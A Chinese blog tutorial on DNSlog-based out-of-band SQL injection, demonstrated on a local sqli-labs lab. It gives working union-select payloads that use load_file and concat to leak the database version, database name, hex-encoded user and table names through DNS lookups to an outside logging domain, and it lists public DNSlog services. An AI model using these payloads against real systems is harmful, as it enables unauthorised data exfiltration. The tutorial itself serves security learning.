利用dnslog进行sql注入

更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

能够利用dnslog进行注入的两个关键点:secure_file_priv 不能为NULL,仅支持 Windows但不支持 Linux

show variables like '%secure%';查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

为了达到实验目的,在本地虚拟机环境进行调试。

mysql配置文件进行如下改动

利用dnslog进行sql注入

my.ini 设置为secure_file_priv=空  然后重启 进入数据库验证 show variables like '%secure%'

利用dnslog进行sql注入

这里使用sqlilabs的环境,如下图基本时间盲注判断

利用dnslog进行sql注入

查询数据库版本' union select load_file(concat('\\\\',version(),'.XXX\\aaa')),2,3%23

利用dnslog进行sql注入

回到dnslog查看,成功返回数据库版本信息

利用dnslog进行sql注入

查询数据库名' union select load_file(concat('\\\\',database(),'.t00ls.XXX.tu4.org\\aaa')),2,3%23

利用dnslog进行sql注入

 

利用dnslog进行sql注入

查询当前用户@符号在查询时要使用hex函数进行16进制编码' union select load_file(concat('\\\\',(select hex(user())),'.t00ls.XXX.tu4.org\\abc')),2,3%23

利用dnslog进行sql注入

返回结果为编码后的

利用dnslog进行sql注入

726F6F74406C6F63616C686F7374进行解码

利用dnslog进行sql注入'

 

查询数据库表名

' union select load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='security'),'.t00ls.XXX.tu4.org\\aaaa')),2,3%23

利用dnslog进行sql注入

一样这里用的group_caoncat函数也是需要转码的656D61696C732C72656665726572732C756167656E74732C7573657273解码后如下

利用dnslog进行sql注入

我这里演示用的是吐司的dnslog,同样别的平台也是可以的,推荐几个平台:http://www.dnslog.cn/、http://ceye.io/

更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

 

 

上一篇:Win10+Ubuntu18.04安装双系统


下一篇:MAC 系统环境配置记录